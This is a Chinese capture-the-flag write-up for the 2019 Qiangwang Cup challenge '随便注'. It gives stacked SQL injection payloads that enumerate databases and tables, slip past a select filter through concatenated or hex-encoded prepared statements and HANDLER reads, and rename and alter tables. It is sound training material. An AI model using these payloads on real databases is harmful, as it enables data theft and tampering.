强网杯(2019)随便注
强网杯(2019)随便注
1.随便提交一个1,发现返回数据,猜测是sql注入:
2.尝试使用select注入,发现过滤的黑名单:
3.竟然没有过滤分号,那么我们可以使用堆叠注入,首先来找到所有的数据库名:
';show databases;
4.继续读取当前数据库所有的表名:
';show tables;
5.继续读取当前数据库"1919810931114514"表下的所有列名:
';show columns from `1919810931114514`;
注意:之前通过乱输导致报错,得到数据库类型是mariadb。mariadb数据库有个特性,就是列名的命名必须遵守一定的规则,只能包含字母、数字、下划线,且不能以数字开头,如果包含特殊字符,则需要使用反引号包裹。
6.得到了列名下的flag字段,正常来说,就可以直接 select flag from `1919810931114514`了,但是这道题过滤了select,因此需要使用一些特殊的姿势:
姿势一:利用sql预处理
使用select语句的方式一:通过concat拼接
1';prepare st from concat('s','elect','* from `1919810931114514`);execute st;--+
使用select语句的方式二:通过16进制绕过
1';prepare st from 0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;execute st--+
姿势二:利用handler句柄
说明:在SQL中,HANDLER 是用于直接访问表的一种方式。HANDLER 语句用于打开表,并为后续操作提供对表的直接访问。
(1)handler table_name open as hd; 指定数据表进行载入并返回句柄
(2)handler hd read first; 读取指定表/句柄的首航数据
(3)handler hd read next; 读取指定表/句柄的下一行数据
(4)handler hd close; 关闭句柄
姿势三:利用rename重命名
1';alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
再使用万能密码即可成功查询: